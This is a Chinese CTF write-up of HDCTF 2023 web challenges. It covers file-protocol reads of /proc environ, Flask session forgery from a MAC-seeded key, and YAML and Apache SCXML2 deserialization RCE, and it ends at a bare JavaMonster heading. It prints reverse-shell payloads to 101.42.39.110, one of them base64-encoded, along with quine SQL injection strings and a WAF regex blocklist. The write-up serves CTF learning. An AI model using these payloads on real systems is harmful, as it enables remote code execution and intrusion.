这里的话是只记录自己不会的知识点

[HDCTF 2023]YamiYami

image-20230423142920377

这是一个考点,考查的是yaml 的python反序列化

可以看看这篇文章来了解一下YAML

Python反序列化漏洞分析

这里的话就是一共有三种python反序列化类型

pickle YAML Marshal

题目

image-20230423145759804

这里的话有三个选项可以进去进行查看,然后点进Read something会发现他的url是可以进行文件读取的

image-20230423150002768

于是进行尝试,这里的话直接读文件的是读取不了的,得需要用file伪协议来进行读取

image-20230423150317306

成功进行读取

但是这里不知道flag名称,所以不能进行读取,但是能可以尝试读取一下环境变量

那么这就是非预期解了

image-20230423150830780

payload

1
http://node2.anna.nssctf.cn:28523/read?url=file:///../../../../../proc/1/environ

这里/proc/1/environ的意思就是进程为1的环境变量

/proc/x/envrion这就是查看任意进程的环境变量的方法

查看进程 ps aux

a:显示当前终端下的所有进程信息,包括其他用户的进程。

u:使用以用户为主的格式输出进程信息。

x:显示当前用户在所有终端下的进程。

预期解

image-20230423151647481

查看pwd发现当前目录是/app,于是尝试用刚才的方法进行/app/app.py源码的读取,因为直接url/app.py的话是读取不到的

image-20230423152137758

正常读取的时候发现有正则过滤,于是查了一下

[正则表达式 re.findall 用法]

那么这里的话不成功是因为,这里匹配到url里的app.*,然后以app.*的数组形式返回,然后导致查不到结果,于是我们可以使用双重url编码绕过

image-20230423152629528

双重url绕过后成功读取到了源码

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'

def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

image-20230423153527975

需要做的事情就2件,伪造Cookie,Yaml反序列化,那么Cookie怎么拿呢?key的种子是由uuid.getnode()生成的,网上检索一波

1
在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。

因为审计源码发现,在上传完yaml反序列化的payload后,进入boogipop的这个路由得需要seesion的值为Welcome To HDCTF2023

image-20230423153706421

这里就是考查的是利用uuid来进行session伪造

种子是通过random.seed(uuid.getnode())生成的。而uuid.getnode()又是将MAC地址转换为10进制。那么我们通过程序中的任意文件读取来获取网卡地址。不就能得到种子了
读取/proc/net/dev可以知道服务器上的网卡。接着/sys/class/net/eth0/address可以知道MAC地址

image-20230423155637069

然后进行进制转化

image-20230423160417630

1
2
02:42:ac:02:45:95
2485376927125

然后获取密钥来进行session伪造

1
2
3
4
import random
random.seed(int(52234918416))
SECRET_KEY = str(random.random() * 233)
print(SECRET_KEY)

image-20230423160653384

1
2
231.28194338656192
2

然后拿着密钥去进行session伪造

session伪造工具

image-20230423161334979

然后根据源码进行修改passport为Welcome To HDCTF2023

1
{'passport': 'Welcome To HDCTF2023'}

然后进行编码

image-20230423161614597

伪造成功

1
eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZETpRg.LJFqsGZPtbnl8N6Ngul7lMTWXgU

然后先进行paylaod的文件上传

1
2
3
4
5
6
7
8
9
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/101.42.39.110/6666 <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list

关于yaml反序列化的payload

还有很多详细的解释都在里面

然后就能成功弹到shell了

总结

file://伪协议读取源码

/proc/1/environ 环境变量读取

正则表达式 re.findall 用法 两次url编码绕过

uuid进行session伪造

YAML反序列化

[HDCTF 2023]LoginMaster(quine注入)

考点

image-20230424100905511

这里的话先去了解一下unique注入是啥东西

详解Laravel 5.8 SQL注入漏洞(unique注入)

漏洞详情

该漏洞存在于Laravel的表单验证功能,漏洞函数为ignore(),漏洞文件位于/vendor/laravel/ramework/src/Illuminate/Validation/Rules/Unique.php。有时候开发者希望在进行字段唯一性验证时忽略指定字段以及字段值,通常会调用Rule类的ignore方法。该方法有两个参数,第一个参数为字段值,第二个参数为字段名,当字段名为空时,默认字段名为“id”。如果用户可以控制ignore()方法的参数值,就会产生SQL注入漏洞。

这里的话就扫一下目录发现存在robots.txt文件,然后进行读取,发现存在waf文件

1
2
3
4
5
6
7
8
9
10
function checkSql($s) 
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');

然后把这段代码到google一搜索,就能找到原题了(打了这么多比赛 ,等赛后看wp复现的时候才发现原原来好多东西都是可以搜出来,只是自己搜的不过准确)

果然 搜索也是一门学问

CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection(quine注入)

这就是原题的题目,这道题就属于是照搬下来的

payload1

1
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

payload2

1
1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

其实就是看谁做过这题或则是记得拿着题目给的waf去搜,然后发现原题

然后就直接拿着原题给的wp直接打就行了

BabyJXvX

考点 Apache SCXML2 RCE

Apache SCXML2 RCE分析

这里我们自己来跟一遍这个逻辑,来学习一下

这里真的服了,没有文章来进行学习咋样安装环境,直接去maven找的话是找不到的,只能通过报错信息一个一个jar包下载下来

这里我用的jdk是8

image-20230425142328815

image-20230425142335239

就是得自己百度先下载两个jar包,然后maven下载一个新的jar包

然后在存在xml文件的目录开启一个python服务就可以开始分析这个漏洞了

image-20230425142503857

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.ModelException;
import org.apache.commons.scxml2.model.SCXML;

import javax.xml.stream.XMLStreamException;
import java.io.IOException;
public class POC {
public static void main(String[] args) throws ModelException, XMLStreamException, IOException {

// engine to execute the scxml instance
SCXMLExecutor executor = new SCXMLExecutor();
// parse SCXML URL into SCXML model
SCXML scxml = SCXMLReader.read("http://127.0.0.1:8000/1.xml");

// set state machine (scxml instance) to execute
executor.setStateMachine(scxml);
executor.go();

}
}

xml文件

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
</script>
</onentry>
</state>
</scxml>

部署完后看是否能弹计算器,弹不出的话就是说明环境没配置成功

image-20230425142743847

然后就开始跟一下这个,看漏洞利用点在哪

开始分析

image-20230425142927413

先给断点

image-20230425142945860

先跟到了read方法这里

进入read方法,又调用了另一个参数不同的read,在这里传入我们xml的path,并且初始化了一个Configuration

image-20230425143202243

将XML的路径和配置类都传入readInternal方法里,跟进

image-20230425143352387

image-20230425143552489

然后初始化了一个URLresovler去读取XML,这边咱们的http服务就会接收到对应的请求,最后进入readDocument方法进行下一步读取

image-20230425143821934

image-20230425144145979

前面的实例化对象就没截屏,只截的是关键部分

image-20230425144408313

获取xml的namespace和localname,最后进入readSCXML方法中进行更深次的读取

,这里就是重点了

image-20230425144705224

进入readSCXML后,然后接着进入readstate

image-20230425144903304

这里会获取几个标签,可以看到包括我们payload里的state标签,由于最外层是state,因此进入readstate方法

image-20230425145318146

第二层标签是onentry,所以进入了readOnEntry方法

image-20230425145420093

image-20230425145447949

进入readExecutableContext方法,接下来也是重点

image-20230425145549908

第三层是script,所以读取script标签

image-20230425145700622

image-20230425145718355

跟进readscript

image-20230425145741954

太菜了,跟不下去了,还是去看上面的复现文章吧,那样好一点

image-20230425151120132

payload

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<final id="run">
<onexit>
<assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMzkuMTEwLzY2NiAwPiYx}|{base64,-d}|{bash,-i}')"/>
</onexit>
</final>
</scxml>

做法

image-20230425154307051

image-20230425154316949

这里先是在自己的服务器上新建一个文件 ,然后开启端口监听就行了

image-20230425154410279

详细wp

根据当时情况一步一步的分析出来的

[HDCTF 2023]JavaMonster]

考点